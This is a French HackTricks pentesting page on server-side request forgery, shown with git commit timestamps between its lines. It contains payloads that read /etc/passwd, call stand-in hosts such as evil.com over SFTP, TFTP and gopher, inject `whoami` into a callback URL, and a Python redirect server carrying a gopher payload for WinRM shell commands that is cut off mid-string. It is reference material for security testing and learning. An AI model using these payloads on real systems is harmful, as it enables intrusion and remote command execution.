hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

346 lines
24 KiB
Markdown
Raw Normal View History

# SSRF (Server Side Request Forgery)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-09-01 23:40:55 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
Obtenez l'accès aujourd'hui :
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
La faille de sécurité Server-side request forgery (connue également sous le nom de SSRF) permet à un attaquant d'**induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire** de son choix. (Depuis [ici](https://portswigger.net/web-security/ssrf))
2022-02-13 12:30:13 +00:00
## Capture SSRF
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
La première chose à faire est de capturer une interaction SSRF provoquée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
2022-02-13 12:30:13 +00:00
* **Burpcollab**
* [**pingb**](http://pingb.in)
2022-09-01 23:40:55 +00:00
* [**canarytokens**](https://canarytokens.org/generate)
2022-04-05 22:24:52 +00:00
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
* [**http://webhook.site**](http://webhook.site)
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
2022-02-13 12:30:13 +00:00
## Contournement de domaines autorisés
2022-02-13 12:30:13 +00:00
Habituellement, vous constaterez que le SSRF ne fonctionne que dans **certains domaines autorisés** ou URL. Dans la page suivante, vous trouverez une **compilation de techniques pour essayer de contourner cette liste blanche** :
2022-02-13 12:30:13 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### Contournement via redirection ouverte
2022-02-13 12:30:13 +00:00
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une Redirection Ouverte à l'intérieur de la page web**. Parce que la page web permettra le **SSRF au même domaine** et suivra probablement les **redirections**, vous pouvez exploiter la **Redirection Ouverte pour faire accéder le serveur à n'importe quelle ressource interne**.\
Lisez plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
## Protocoles
2022-04-29 15:47:17 +00:00
2022-09-01 23:40:55 +00:00
### file://
2022-02-13 12:30:13 +00:00
```
file:///etc/passwd
```
2022-09-01 23:40:55 +00:00
### dict://
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
Le schéma d'URL DICT est utilisé pour faire référence à des définitions ou des listes de mots disponibles en utilisant le protocole DICT :
2022-02-13 12:30:13 +00:00
```
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```
2022-09-01 23:40:55 +00:00
### SFTP://
2022-02-13 12:30:13 +00:00
Un protocole réseau utilisé pour le transfert de fichiers sécurisé via secure shell
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=sftp://evil.com:11111/
```
2022-09-01 23:40:55 +00:00
### TFTP://
2022-02-13 12:30:13 +00:00
Trivial File Transfer Protocol, fonctionne sur UDP
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
2022-09-01 23:40:55 +00:00
### LDAP://
2022-02-13 12:30:13 +00:00
Lightweight Directory Access Protocol. C'est un protocole d'application utilisé sur un réseau IP pour gérer et accéder au service d'annuaire distribué.
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
2022-09-01 23:40:55 +00:00
### Gopher://
2022-02-13 12:30:13 +00:00
En utilisant ce protocole, vous pouvez spécifier l'**IP, le port et les octets** que vous souhaitez que le serveur **envoie**. Ensuite, vous pouvez essentiellement exploiter un SSRF pour **communiquer avec n'importe quel serveur TCP** (mais vous devez d'abord savoir comment parler au service).\
2023-06-03 13:10:46 +00:00
Heureusement, vous pouvez utiliser [Gopherus](https://github.com/tarunkant/Gopherus) pour créer des charges utiles pour plusieurs services. De plus, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) peut être utilisé pour créer des charges utiles _gopher_ pour les services _Java RMI_.
2022-02-13 12:30:13 +00:00
2022-04-29 15:47:17 +00:00
**Gopher smtp**
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
2022-04-29 15:47:17 +00:00
**Gopher HTTP**
2022-02-13 12:30:13 +00:00
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP — Connexion inverse au port 1337**
2022-02-13 12:30:13 +00:00
{% code title="redirect.php" %}
```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
2022-09-01 23:40:55 +00:00
### SMTP
2022-02-13 12:30:13 +00:00
D'après [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929) :\
1\. se connecter avec SSRF sur smtp localhost:25\
2\. à partir de la première ligne, obtenir le nom de domaine interne 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
3\. rechercher[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) sur github, trouver des sous-domaines\
4\. se connecter
2023-01-12 12:36:15 +00:00
### Curl URL globbing - Contournement de WAF
2023-01-12 12:36:15 +00:00
Si le SSRF est exécuté par **curl**, curl a une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAFs. Par exemple, dans ce [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple pour une **traversée de chemin via le protocole `file`** :
2023-01-12 12:36:15 +00:00
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
## Capture des requêtes SSRF
2023-03-05 15:13:44 +00:00
* Burp Collaborator
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://app.interactsh.com/](https://app.interactsh.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Un Burp Collaborator utilisant ngrok
2023-03-05 15:13:44 +00:00
2023-06-03 13:10:46 +00:00
## SSRF via l'en-tête Referrer
2023-01-11 11:28:05 +00:00
Certaines applications utilisent des logiciels d'analyse côté serveur qui suivent les visiteurs. Ces logiciels enregistrent souvent l'en-tête Referrer des requêtes, car cela présente un intérêt particulier pour le suivi des liens entrants. Souvent, le logiciel d'analyse visitera réellement toute URL tierce qui apparaît dans l'en-tête Referrer. Cela est généralement fait pour analyser le contenu des sites référents, y compris le texte d'ancrage utilisé dans les liens entrants. En conséquence, l'en-tête Referer représente souvent une surface d'attaque fructueuse pour les vulnérabilités SSRF.\
Pour découvrir ce type de vulnérabilités "cachées", vous pourriez utiliser le plugin "**Collaborator Everywhere**" de Burp.
2023-01-11 11:28:05 +00:00
2023-06-03 13:10:46 +00:00
## SSRF via les données SNI du certificat
2023-01-11 11:28:05 +00:00
La configuration la plus simple qui vous permettrait de vous connecter à un backend arbitraire ressemblerait à ceci :
2023-01-11 11:28:05 +00:00
```nginx
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-01-11 11:28:05 +00:00
}
```
Ici, la valeur du champ SNI est utilisée directement comme adresse du backend.
2023-01-11 11:28:05 +00:00
Avec cette configuration non sécurisée, nous pouvons **exploiter la vulnérabilité SSRF simplement en spécifiant l'IP ou le nom de domaine désiré dans le champ SNI**. Par exemple, la commande suivante forcerait Nginx à se connecter à _internal.host.com_ :
2023-01-11 11:28:05 +00:00
```bash
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
```
## [Téléversement de fichier avec Wget](../file-upload/#wget-file-upload-ssrf-trick)
2023-01-11 11:28:05 +00:00
## SSRF avec Injection de Commande
2022-02-13 12:30:13 +00:00
Il pourrait être intéressant d'essayer un payload comme : `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
2022-02-13 12:30:13 +00:00
## Rendu de PDFs
2022-02-13 12:30:13 +00:00
Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez **insérer du JS qui sera exécuté par le créateur de PDF** lui-même (le serveur) pendant la création du PDF et vous pourrez exploiter une SSRF. [**Trouvez plus d'informations ici**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
2022-02-13 12:30:13 +00:00
## De SSRF à DoS
2022-02-13 12:30:13 +00:00
Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant la SSRF depuis les sessions.
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
## Fonctions PHP SSRF
2023-01-22 18:27:01 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## SSRF Redirection vers Gopher
2022-02-13 12:30:13 +00:00
Pour certaines exploitations, vous pourriez avoir besoin d'**envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection :
2022-02-13 12:30:13 +00:00
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%7
self.end_headers()
2022-02-13 12:30:13 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
```python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
2022-02-13 12:30:13 +00:00
```
```markdown
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** grâce aux outils communautaires **les plus avancés** au monde.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## DNS Rebidding CORS/SOP bypass
2022-04-29 15:47:17 +00:00
Si vous rencontrez des **problèmes** pour **exfiltrer du contenu d'une IP locale** à cause de **CORS/SOP**, le **DNS Rebidding** peut être utilisé pour contourner cette limitation :
2022-04-29 15:47:17 +00:00
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### Automatisation du DNS Rebidding
2022-04-29 15:51:30 +00:00
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour réaliser des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Il inclut les composants nécessaires pour relier l'adresse IP de la machine cible au nom DNS du serveur d'attaque et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.
2022-04-29 15:51:30 +00:00
Consultez également le **serveur public en cours d'exécution sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)****
2022-04-29 15:51:30 +00:00
## DNS Rebidding + TLS Session ID/Session ticket
2022-02-13 12:30:13 +00:00
Prérequis :
2022-02-13 12:30:13 +00:00
* **SSRF**
* **Sessions TLS sortantes**
* **Éléments sur les ports locaux**
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
Attaque :
2022-02-13 12:30:13 +00:00
1. Demander à l'utilisateur/bot **d'accéder** à un **domaine** contrôlé par l'**attaquant**
2. Le **TTL** du **DNS** est de **0** sec (ainsi la victime vérifiera à nouveau l'IP du domaine bientôt)
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit le **payload à l'intérieur** du **Session ID ou Session Ticket**.
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire accéder l'utilisateur/bot au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine.
5. Dans la requête DNS, une **adresse IP privée** est donnée **maintenant** (127.0.0.1 par exemple)
6. L'utilisateur/bot essaiera de **rétablir la connexion TLS** et pour ce faire, il **envoie** le **Session** ID/Ticket ID (où le **payload** de l'attaquant était contenu). Donc félicitations, vous avez réussi à demander à l'**utilisateur/bot de s'attaquer lui-même**.
2022-02-13 12:30:13 +00:00
Notez que pendant cette attaque, si vous voulez attaquer localhost:11211 (_memcache_), vous devez faire établir la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
Pour **réaliser cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Pour **plus d'informations**, regardez la conférence où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
2022-02-13 12:30:13 +00:00
## SSRF aveugle
2022-02-13 12:30:13 +00:00
La différence entre un SSRF aveugle et un non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Cela rend l'exploitation plus difficile car vous ne pourrez exploiter que des vulnérabilités bien connues.
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
### SSRF basé sur le temps
2022-02-13 12:30:13 +00:00
**Vérifier le temps** des réponses du serveur peut permettre de **savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante que pour une qui n'existe pas)
2022-02-13 12:30:13 +00:00
## Exploitation de SSRF dans le Cloud
2022-02-13 12:30:13 +00:00
Si vous trouvez une vulnérabilité SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez être en mesure d'obtenir des informations intéressantes sur l'environnement cloud et même des identifiants :
2022-02-13 12:30:13 +00:00
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## Plateformes vulnérables au SSRF
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
## Outils
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
Outil pour détecter et exploiter les vulnérabilités SSRF
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### [Gopherus](https://github.com/tarunkant/Gopherus)
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
* [Article de blog sur Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
Cet outil génère des charges utiles Gopher pour :
2022-02-13 12:30:13 +00:00
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
2022-09-01 23:40:55 +00:00
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
2022-02-13 12:30:13 +00:00
2023-06-03 13:10:46 +00:00
* [Article de blog sur l'utilisation de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
2022-02-13 12:30:13 +00:00
_remote-method-guesser_ est un scanner de vulnérabilités _Java RMI_ qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités _Java RMI_ courantes. La plupart des opérations disponibles supportent l'option `--ssrf`, pour générer une charge utile _SSRF_ pour l'opération demandée. Avec l'option `--gopher`, des charges utiles _gopher_ prêtes à l'emploi peuvent être générées directement.
2022-02-13 12:30:13 +00:00
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
2022-02-13 12:30:13 +00:00
SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafic HTTP client à travers des serveurs HTTP vulnérables à la falsification de requête côté serveur (SSRF).
2022-02-13 12:30:13 +00:00
### Pour pratiquer
2022-02-13 12:30:13 +00:00
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
2023-06-03 13:10:46 +00:00
## Références
2022-02-13 12:30:13 +00:00
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
2023-01-11 11:28:05 +00:00
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** grâce aux outils communautaires **les plus avancés** au monde.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```